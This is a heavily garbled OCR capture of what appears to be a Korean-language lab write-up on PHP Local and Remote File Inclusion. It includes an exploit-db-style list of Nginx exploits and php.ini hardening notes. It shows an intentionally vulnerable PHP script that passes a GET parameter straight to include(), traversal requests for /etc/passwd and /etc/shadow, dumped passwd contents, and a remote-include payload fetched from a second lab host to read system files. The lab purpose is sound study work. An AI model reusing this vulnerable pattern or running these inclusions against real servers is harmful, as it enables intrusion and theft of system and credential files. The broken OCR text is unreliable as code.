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Notice: Undefined index: fr_date in /var/www/htmlfadm/excel_download.php on line 10

Notice: Undefined index: to_date in /var/www/html/adm/excel_download.php on line 16
Notice: Undefined index: sch_field in /var/www/html/adm/excel_download.php on line 30
Notice: Undefined index: sch_name in /var/www/html/adm/excel_download.php on line 35
Notice: Undefined index: cnt in /var/www/html/adm/excel_download.php on line 55
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02. display_erros = Off [] [T]
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Date D A VWV Title Type Platform Author
2025-06-20 b4 Ingress-NGINX 4.11.0 - Remote Code Execution (RCE) Remote Multiple Likhith Appalaneni
2022-07-11 .4 X Nginx 1.20.0 - Denial of Service (DOS) Remote Multiple Mohammed Alshehri
ﬁ 2019-10-28 b4 X PHP-FPM + Nginx - Remote Code Execution WebApps PHP Emil Lerner
2016-11-16 ¥ X Nginx (Debian Based Distros + Gentoo) - logrotate’ Local Privilege Escalation Local Linux Dawid Golunski
l!l 2013-11-19 ¥ Nginx 1.1.17 - URI Processing SecURIty Bypass Remote Multiple Ivan Fratric
1+ 2010-01-11 b4 Nginx 0.7.64 - Terminal Escape Sequence in Logs Command Injection Remote Multiple evilalivd
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2013-05-28 LA - | Nginx 1.3.9 < 1.4.0 - Chuncked Encoding Stack Buffer Overflow (Metasploit) Remote Linux Metasploit
2013-05-17 ¥ a X Nginx 1.3.9 < 1.4.0 - Denial of Service (PoC) DoS Linux Mert SARICA
2013-04-19 LA - | Nginx 0.6.x - Arbitrary Code Execution NullByte Injection WebApps Multiple Neal Poole
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RFI = Remote File Inclusion
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ex. http://localhost/../../../../../../../]etc/passwd
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= PHP M IfY %3]

EE 1) # cat /[PHP 2X| &E2|]/php.ini | grep open_basedir
== root@ubuntu:/etc/php/8.1/cli# cat /etc/php/8.1/cli/php.ini | grep open_basedir
- if set, limits all file operations to the defined directory
" if : . asedir 1s set, the cache is disabled
= PHP A1 THUOIM 473
Eﬂ 1) # vi /[PHP A%| CI2E2]]/php.ini
[T — |

: open_basedir, if set, limits all file operations to the defined directory
; and below. This directive makes most sense if used in a per-directory
; or per-virtualhost web server configuration file.

: disables the rea
‘php. -ba

;open_basedir = /var

php config(TT] ;[0 IO (11
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01. php Config [T] [T

a per-directory

; This di ive allows you to disable certain functions.
It receives a comma-delimited list of function names.

*Oo 0o m o0 «@ )Ham »

ex. /var/www:/tmp -> /var/www [] /tmp [I]
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% Last updated on 29 August 2025 &

LANG

@ PHP: Hypertext Preprocessor (or simply PHP) is a general-purpose programming language

originally designed for web development.
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Released

9 months ago
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1 year and 9
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(23 Nov 2023)

2 years and 8
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(08 Dec 2022)
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(25 Nov 2021)

4 years and 9
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(26 Nov 2020)

Active Support
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Security Support

Latest

8.4.12
(28 Aug 2025)

83.25
(28 Aug 2025)

8.2.29
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8.1.33
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php] apache2[] [II1] LFI / RFI [I1T] 110

LFI = Local File Inclusion

RFI = Remote File Inclusion

LFI M [

Ubuntu - 24.04.3

PHP - 8.3.6

Apache - 2.4.58

IP-172.30.1.68[[] [T] 1

LFIO [

10 (M O -IfiPhp.php

<?php

// RFI 00000 00 0O (OO0)

if (isset($ GET['page'l)) {
$file = $ GET['page'l;
// 000 000 0000 00 00 include
include($file);

} else {



echo "0000 0OOOC 00000

7>

00 [[M 0 -test.php
MO OO0 2 0Oo0 92 mM OO

*Io 0o M 0IIm oo I M M "phpruntest7"[[] [ I
O

<?php
$numberl = 3;
$number2 = 4;

$sum = $numberl + $number?2;
echo "php run test $sum";

7>

LFI T [

1. 0o M OO M 0
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v @ 172301.68/fiPhp.php X +

€« G A F8F  172.30.1.68/fiPhp.php
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v @ 17230168/fiPhpphp?page=t X  +
< C A FYA2F  17230.1.68/fiPhp.php?page=test.php

] php run test 7

3. /etc/passwd [1T] oo M (@O m Om (LT phpI0l [ )

v @ 172301.68/fiPhp.php?page=. X =+ _ O

< C A FURT 172.30.1.68/iPhp.php?page=/etc/passwd +r = 9} =5 .

sys:x:3:3sys:/devi/usr/shin/nologin syncix:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x.6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:T:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbhin/nologin news:x:9:9:news./var/spool/news./usr/shin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/shin/nologin proxy:x.13:13:proxy./bin:/usr/shin/nologin www-data:x:33:33.:www-
data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/shin/nologin list:x:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534.;/nonexistent:/usr/sbin/nols
nobody:x:65534.65534.nobody./nonexistent./usr/sbhin/nologin systemd-network:x:998:998:systemd Network
Management././usr/sbin/nologin systemd-timesync:x:997.997:systemd Time Synchronization././usr/sbin/nologin
dhcpedixi100:65534:DHCP Client Daemon,,,:/usr/lib/dhcped:/bin/false messagebus:x:101:102::/nonexistent:/usr/shin/nolo;
systemd-resolve:x:992:992:systemd Resolver./:/usr/shin/nologin pollinate:x:102:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin syslog:x:103:104../nonexistent./usr/shin/nologin
uuidd:x:104:105::/run/uuidd:/usr/sbin/nologin tepdump:x:105:107::/nonexistent:/usr/shin/nologin tss:x:106:108:TPM softw

ctarl “harllik/tnm Thin/falca landerana v 1NT7T 1IN hiarllib/landerama fier/chin/nalaain funind-rafrach’ v 020020 " Eirmuiiar
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v @ 17230168iPhpphpipage=. %X+

<« C AFYEF 172.30.1.68/lfiPhp.php?page=/etc/shadow

RFIM [

Ubuntu - 24.04.3

PHP - 8.3.6

Apache - 2.4.58
IP-172.30.1.68 [[] [T] 1]

IP-172.30.1.14 [[TT] 1

php Il {00 0OII0 M

LFIJ 00 0O php.ini(J] allow_url_fopen ] [T (1o (1

RFI[] [1ITJ 111 allow_url_include [IT] Off ] On[[] [IIIIL
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*[MI]  /etc/php/8.3/cli/php.ini 111  [I10J ag 0Ofg 0o

* apache2[] [I1 [0 OO0 [0
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/etc/php/8.3/apache2/php.ini [[]]

(0 [ : http://172.30.1.68/rfiPhp.php?page=

<?php
// RFL 0000 00 0O (OO0)
if (isset($ GET['page'l)) {
$file = $ GET['page'];
// 000 000 0000 00 00 include
include($file);
} else {
echo "[000 0000 O0OOOO- "5

7>

00 Oo M Mo Peo M

1

0 [ : http://172.30.1.14:8080/html/RFl.php

<?php
echo "hello world";

7>

php.ini [TT]
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Ml OO Lecalll M OO0 OO 2 OIO (111 i 1T

OLLFI0 I [ OO0 OO OO MO0 OO

e ——— . LB dl R .
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€« G A T2 172.30.1.68/fiPhp.php?

HO[X 7} X| B =lX] RS

02.1 OO0 OO O (11 il il
*php 111  [OI0 hello world] [11T] i
v @ 17230168/fiPhpphplpage=. X+
<« & M F8 8% 172.30.1.68/rfiPhp.php?page=http://172.30.1.14/RFl.php

hello world

03. RFl.php (1] /etc/passwd [1T] a1 I M 0 m MO

<?php

// /etc/passwd [0 00 (OO0, OO0 000 OOOOO O0O)
$file = '/etc/passwd';

if (file exists($file) && is readable($file)) {
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$content = file get contents($file);

echo "<pre>" . htmlspecialchars($content) . "</pre>";
} else {

echo "[00 0O0.";
}
7>

v @ 17230168/fiPhpphprpage=. X +
« & A F8 8% 172.30.1.68/riPhp.php?page=http://172.30.1.14/RFl.php

root 2z :0:0:root - froot - /bindbash

daemon:x:1:1:daemon: usr/shin:usrdsbin/nologin
bin:x:2:2:bin:/bin:fusr/shin/nologin
sys:x:3:3:svs:Sdev:ifusr/shin/nalogin

syncx 468534 svnc:/bin:Abindsvne

games % -5:60-games: fusr/oames - fusr/shin/nologin
manix:6:12man:varfcache/man: fusrfsbin/nologin
lpow:?:7:psfvarfspool /lpd s Ausr/shindnologin

mail % 8:8mai | - varmail Zfusr/shinnologin
news:x:9:9:news:varSspool fnews:fusr/shindnologin

uucp s 10:1020ucp: Avarfspool Auuce - Ausr/sbindnologin

progy %1313 proxv:/bin:fusrishin/nologin

www—data x:33:33 wew—data:varSwewfusr/shindnologin
backup:x:34:34:backup: /varsbackups:fusr/shin/nologin
list:x:38:38:Mailing List Manager:fvar/list:/usr/shin/nologin
irc®:39:39 0 redArundired - fusr/shindnologin

gnats:ix:d1:41 :Gnats Bug—Peporting Swstem (admin) tfvar/libsanats:/usr/shin/nologin
nobody ©x -65834 168534 -nobody - /nonexistent S Ausr/shindnologin
_apt sx:100:65534: - /nonexistent - /usr/sbhin/nologin

systemd-netwark:x:101 :102:systend Hetwork Management, ., :/run/systemd:/usr/sbin/nologin

systemd-resolve x:102:103 :systend Resolver, ., 2/runfsvstend :fusr/sbinmologin
messagebus 110321041 - /nonexistent s fusr/shin/mologin

systemd-timesync:x:104:105:systend Time Synchronization,,, t/run/systend:/usr/sbin/nologin

pallinatesx:1058:1:: fvar/cache/pal linate:/bin/false
svslog x 10621132 /homefsvslog - fusr/shin/nologin
ugidd 1070142 frunfunidd: fusr/shindnologin

tendunn v 1MR- 11K - fnanavictant - fierfehindnalanin
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